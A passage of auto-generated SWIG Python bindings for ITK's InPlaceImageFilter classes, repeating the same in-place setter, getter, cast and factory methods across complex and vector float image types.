new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22IVF22_InPlaceOff, None, itkInPlaceImageFilterICVF22IVF22) itkInPlaceImageFilterICVF22IVF22.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22IVF22_CanRunInPlace, None, itkInPlaceImageFilterICVF22IVF22) itkInPlaceImageFilterICVF22IVF22_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22IVF22_swigregister itkInPlaceImageFilterICVF22IVF22_swigregister(itkInPlaceImageFilterICVF22IVF22) def itkInPlaceImageFilterICVF22IVF22_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF22IVF22 *": """itkInPlaceImageFilterICVF22IVF22_cast(itkLightObject obj) -> itkInPlaceImageFilterICVF22IVF22""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF22IVF22_cast(obj) class itkInPlaceImageFilterICVF23ICVF23(itkImageToImageFilterAPython.itkImageToImageFilterICVF23ICVF23): """Proxy of C++ itkInPlaceImageFilterICVF23ICVF23 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterICVF23ICVF23 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23ICVF23_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterICVF23ICVF23 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23ICVF23_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterICVF23ICVF23 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23ICVF23_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterICVF23ICVF23 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23ICVF23_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterICVF23ICVF23 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23ICVF23_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterICVF23ICVF23 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF23ICVF23 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterICVF23ICVF23""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23ICVF23_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterICVF23ICVF23 Create a new object of the class itkInPlaceImageFilterICVF23ICVF23 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterICVF23ICVF23.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterICVF23ICVF23.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterICVF23ICVF23.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterICVF23ICVF23.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23ICVF23_SetInPlace, None, itkInPlaceImageFilterICVF23ICVF23) itkInPlaceImageFilterICVF23ICVF23.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23ICVF23_GetInPlace, None, itkInPlaceImageFilterICVF23ICVF23) itkInPlaceImageFilterICVF23ICVF23.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23ICVF23_InPlaceOn, None, itkInPlaceImageFilterICVF23ICVF23) itkInPlaceImageFilterICVF23ICVF23.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23ICVF23_InPlaceOff, None, itkInPlaceImageFilterICVF23ICVF23) itkInPlaceImageFilterICVF23ICVF23.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23ICVF23_CanRunInPlace, None, itkInPlaceImageFilterICVF23ICVF23) itkInPlaceImageFilterICVF23ICVF23_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23ICVF23_swigregister itkInPlaceImageFilterICVF23ICVF23_swigregister(itkInPlaceImageFilterICVF23ICVF23) def itkInPlaceImageFilterICVF23ICVF23_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF23ICVF23 *": """itkInPlaceImageFilterICVF23ICVF23_cast(itkLightObject obj) -> itkInPlaceImageFilterICVF23ICVF23""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23ICVF23_cast(obj) class itkInPlaceImageFilterICVF23IVF23(itkImageToImageFilterAPython.itkImageToImageFilterICVF23IVF23): """Proxy of C++ itkInPlaceImageFilterICVF23IVF23 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterICVF23IVF23 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23IVF23_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterICVF23IVF23 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23IVF23_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterICVF23IVF23 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23IVF23_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterICVF23IVF23 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23IVF23_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterICVF23IVF23 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23IVF23_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterICVF23IVF23 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF23IVF23 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterICVF23IVF23""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23IVF23_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterICVF23IVF23 Create a new object of the class itkInPlaceImageFilterICVF23IVF23 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterICVF23IVF23.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterICVF23IVF23.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterICVF23IVF23.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterICVF23IVF23.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23IVF23_SetInPlace, None, itkInPlaceImageFilterICVF23IVF23) itkInPlaceImageFilterICVF23IVF23.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23IVF23_GetInPlace, None, itkInPlaceImageFilterICVF23IVF23) itkInPlaceImageFilterICVF23IVF23.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23IVF23_InPlaceOn, None, itkInPlaceImageFilterICVF23IVF23) itkInPlaceImageFilterICVF23IVF23.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23IVF23_InPlaceOff, None, itkInPlaceImageFilterICVF23IVF23) itkInPlaceImageFilterICVF23IVF23.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23IVF23_CanRunInPlace, None, itkInPlaceImageFilterICVF23IVF23) itkInPlaceImageFilterICVF23IVF23_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23IVF23_swigregister itkInPlaceImageFilterICVF23IVF23_swigregister(itkInPlaceImageFilterICVF23IVF23) def itkInPlaceImageFilterICVF23IVF23_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF23IVF23 *": """itkInPlaceImageFilterICVF23IVF23_cast(itkLightObject obj) -> itkInPlaceImageFilterICVF23IVF23""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF23IVF23_cast(obj) class itkInPlaceImageFilterICVF32ICVF32(itkImageToImageFilterAPython.itkImageToImageFilterICVF32ICVF32): """Proxy of C++ itkInPlaceImageFilterICVF32ICVF32 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterICVF32ICVF32 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32ICVF32_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterICVF32ICVF32 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32ICVF32_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterICVF32ICVF32 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32ICVF32_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterICVF32ICVF32 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32ICVF32_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterICVF32ICVF32 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32ICVF32_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterICVF32ICVF32 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF32ICVF32 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterICVF32ICVF32""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32ICVF32_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterICVF32ICVF32 Create a new object of the class itkInPlaceImageFilterICVF32ICVF32 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterICVF32ICVF32.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterICVF32ICVF32.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterICVF32ICVF32.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterICVF32ICVF32.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32ICVF32_SetInPlace, None, itkInPlaceImageFilterICVF32ICVF32) itkInPlaceImageFilterICVF32ICVF32.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32ICVF32_GetInPlace, None, itkInPlaceImageFilterICVF32ICVF32) itkInPlaceImageFilterICVF32ICVF32.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32ICVF32_InPlaceOn, None, itkInPlaceImageFilterICVF32ICVF32) itkInPlaceImageFilterICVF32ICVF32.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32ICVF32_InPlaceOff, None, itkInPlaceImageFilterICVF32ICVF32) itkInPlaceImageFilterICVF32ICVF32.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32ICVF32_CanRunInPlace, None, itkInPlaceImageFilterICVF32ICVF32) itkInPlaceImageFilterICVF32ICVF32_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32ICVF32_swigregister itkInPlaceImageFilterICVF32ICVF32_swigregister(itkInPlaceImageFilterICVF32ICVF32) def itkInPlaceImageFilterICVF32ICVF32_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF32ICVF32 *": """itkInPlaceImageFilterICVF32ICVF32_cast(itkLightObject obj) -> itkInPlaceImageFilterICVF32ICVF32""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32ICVF32_cast(obj) class itkInPlaceImageFilterICVF32IVF32(itkImageToImageFilterAPython.itkImageToImageFilterICVF32IVF32): """Proxy of C++ itkInPlaceImageFilterICVF32IVF32 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterICVF32IVF32 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32IVF32_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterICVF32IVF32 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32IVF32_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterICVF32IVF32 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32IVF32_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterICVF32IVF32 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32IVF32_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterICVF32IVF32 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32IVF32_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterICVF32IVF32 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF32IVF32 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterICVF32IVF32""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32IVF32_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterICVF32IVF32 Create a new object of the class itkInPlaceImageFilterICVF32IVF32 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterICVF32IVF32.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterICVF32IVF32.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterICVF32IVF32.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterICVF32IVF32.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32IVF32_SetInPlace, None, itkInPlaceImageFilterICVF32IVF32) itkInPlaceImageFilterICVF32IVF32.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32IVF32_GetInPlace, None, itkInPlaceImageFilterICVF32IVF32) itkInPlaceImageFilterICVF32IVF32.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32IVF32_InPlaceOn, None, itkInPlaceImageFilterICVF32IVF32) itkInPlaceImageFilterICVF32IVF32.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32IVF32_InPlaceOff, None, itkInPlaceImageFilterICVF32IVF32) itkInPlaceImageFilterICVF32IVF32.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32IVF32_CanRunInPlace, None, itkInPlaceImageFilterICVF32IVF32) itkInPlaceImageFilterICVF32IVF32_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32IVF32_swigregister itkInPlaceImageFilterICVF32IVF32_swigregister(itkInPlaceImageFilterICVF32IVF32) def itkInPlaceImageFilterICVF32IVF32_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF32IVF32 *": """itkInPlaceImageFilterICVF32IVF32_cast(itkLightObject obj) -> itkInPlaceImageFilterICVF32IVF32""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF32IVF32_cast(obj) class itkInPlaceImageFilterICVF33ICVF33(itkImageToImageFilterAPython.itkImageToImageFilterICVF33ICVF33): """Proxy of C++ itkInPlaceImageFilterICVF33ICVF33 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterICVF33ICVF33 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33ICVF33_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterICVF33ICVF33 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33ICVF33_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterICVF33ICVF33 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33ICVF33_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterICVF33ICVF33 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33ICVF33_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterICVF33ICVF33 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33ICVF33_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterICVF33ICVF33 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF33ICVF33 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterICVF33ICVF33""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33ICVF33_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterICVF33ICVF33 Create a new object of the class itkInPlaceImageFilterICVF33ICVF33 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterICVF33ICVF33.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterICVF33ICVF33.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterICVF33ICVF33.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterICVF33ICVF33.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33ICVF33_SetInPlace, None, itkInPlaceImageFilterICVF33ICVF33) itkInPlaceImageFilterICVF33ICVF33.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33ICVF33_GetInPlace, None, itkInPlaceImageFilterICVF33ICVF33) itkInPlaceImageFilterICVF33ICVF33.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33ICVF33_InPlaceOn, None, itkInPlaceImageFilterICVF33ICVF33) itkInPlaceImageFilterICVF33ICVF33.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33ICVF33_InPlaceOff, None, itkInPlaceImageFilterICVF33ICVF33) itkInPlaceImageFilterICVF33ICVF33.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33ICVF33_CanRunInPlace, None, itkInPlaceImageFilterICVF33ICVF33) itkInPlaceImageFilterICVF33ICVF33_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33ICVF33_swigregister itkInPlaceImageFilterICVF33ICVF33_swigregister(itkInPlaceImageFilterICVF33ICVF33) def itkInPlaceImageFilterICVF33ICVF33_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF33ICVF33 *": """itkInPlaceImageFilterICVF33ICVF33_cast(itkLightObject obj) -> itkInPlaceImageFilterICVF33ICVF33""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33ICVF33_cast(obj) class itkInPlaceImageFilterICVF33IVF33(itkImageToImageFilterAPython.itkImageToImageFilterICVF33IVF33): """Proxy of C++ itkInPlaceImageFilterICVF33IVF33 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterICVF33IVF33 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33IVF33_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterICVF33IVF33 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33IVF33_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterICVF33IVF33 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33IVF33_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterICVF33IVF33 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33IVF33_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterICVF33IVF33 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33IVF33_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterICVF33IVF33 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF33IVF33 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterICVF33IVF33""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33IVF33_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterICVF33IVF33 Create a new object of the class itkInPlaceImageFilterICVF33IVF33 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterICVF33IVF33.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterICVF33IVF33.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterICVF33IVF33.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterICVF33IVF33.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33IVF33_SetInPlace, None, itkInPlaceImageFilterICVF33IVF33) itkInPlaceImageFilterICVF33IVF33.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33IVF33_GetInPlace, None, itkInPlaceImageFilterICVF33IVF33) itkInPlaceImageFilterICVF33IVF33.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33IVF33_InPlaceOn, None, itkInPlaceImageFilterICVF33IVF33) itkInPlaceImageFilterICVF33IVF33.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33IVF33_InPlaceOff, None, itkInPlaceImageFilterICVF33IVF33) itkInPlaceImageFilterICVF33IVF33.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33IVF33_CanRunInPlace, None, itkInPlaceImageFilterICVF33IVF33) itkInPlaceImageFilterICVF33IVF33_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33IVF33_swigregister itkInPlaceImageFilterICVF33IVF33_swigregister(itkInPlaceImageFilterICVF33IVF33) def itkInPlaceImageFilterICVF33IVF33_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF33IVF33 *": """itkInPlaceImageFilterICVF33IVF33_cast(itkLightObject obj) -> itkInPlaceImageFilterICVF33IVF33""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF33IVF33_cast(obj) class itkInPlaceImageFilterICVF42ICVF42(itkImageToImageFilterAPython.itkImageToImageFilterICVF42ICVF42): """Proxy of C++ itkInPlaceImageFilterICVF42ICVF42 class.""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr def SetInPlace(self, _arg: 'bool const') -> "void": """SetInPlace(itkInPlaceImageFilterICVF42ICVF42 self, bool const _arg)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42ICVF42_SetInPlace(self, _arg) def GetInPlace(self) -> "bool": """GetInPlace(itkInPlaceImageFilterICVF42ICVF42 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42ICVF42_GetInPlace(self) def InPlaceOn(self) -> "void": """InPlaceOn(itkInPlaceImageFilterICVF42ICVF42 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42ICVF42_InPlaceOn(self) def InPlaceOff(self) -> "void": """InPlaceOff(itkInPlaceImageFilterICVF42ICVF42 self)""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42ICVF42_InPlaceOff(self) def CanRunInPlace(self) -> "bool": """CanRunInPlace(itkInPlaceImageFilterICVF42ICVF42 self) -> bool""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42ICVF42_CanRunInPlace(self) __swig_destroy__ = _itkInPlaceImageFilterAPython.delete_itkInPlaceImageFilterICVF42ICVF42 def cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF42ICVF42 *": """cast(itkLightObject obj) -> itkInPlaceImageFilterICVF42ICVF42""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42ICVF42_cast(obj) cast = staticmethod(cast) def New(*args, **kargs): """New() -> itkInPlaceImageFilterICVF42ICVF42 Create a new object of the class itkInPlaceImageFilterICVF42ICVF42 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkInPlaceImageFilterICVF42ICVF42.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkInPlaceImageFilterICVF42ICVF42.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkInPlaceImageFilterICVF42ICVF42.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkInPlaceImageFilterICVF42ICVF42.SetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42ICVF42_SetInPlace, None, itkInPlaceImageFilterICVF42ICVF42) itkInPlaceImageFilterICVF42ICVF42.GetInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42ICVF42_GetInPlace, None, itkInPlaceImageFilterICVF42ICVF42) itkInPlaceImageFilterICVF42ICVF42.InPlaceOn = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42ICVF42_InPlaceOn, None, itkInPlaceImageFilterICVF42ICVF42) itkInPlaceImageFilterICVF42ICVF42.InPlaceOff = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42ICVF42_InPlaceOff, None, itkInPlaceImageFilterICVF42ICVF42) itkInPlaceImageFilterICVF42ICVF42.CanRunInPlace = new_instancemethod(_itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42ICVF42_CanRunInPlace, None, itkInPlaceImageFilterICVF42ICVF42) itkInPlaceImageFilterICVF42ICVF42_swigregister = _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42ICVF42_swigregister itkInPlaceImageFilterICVF42ICVF42_swigregister(itkInPlaceImageFilterICVF42ICVF42) def itkInPlaceImageFilterICVF42ICVF42_cast(obj: 'itkLightObject') -> "itkInPlaceImageFilterICVF42ICVF42 *": """itkInPlaceImageFilterICVF42ICVF42_cast(itkLightObject obj) -> itkInPlaceImageFilterICVF42ICVF42""" return _itkInPlaceImageFilterAPython.itkInPlaceImageFilterICVF42ICVF42_cast(obj) class itkInPlaceImageFilterICVF42IVF42(itkImageToImageFilterAPython.itkImageToImageFilterICVF42IVF42): 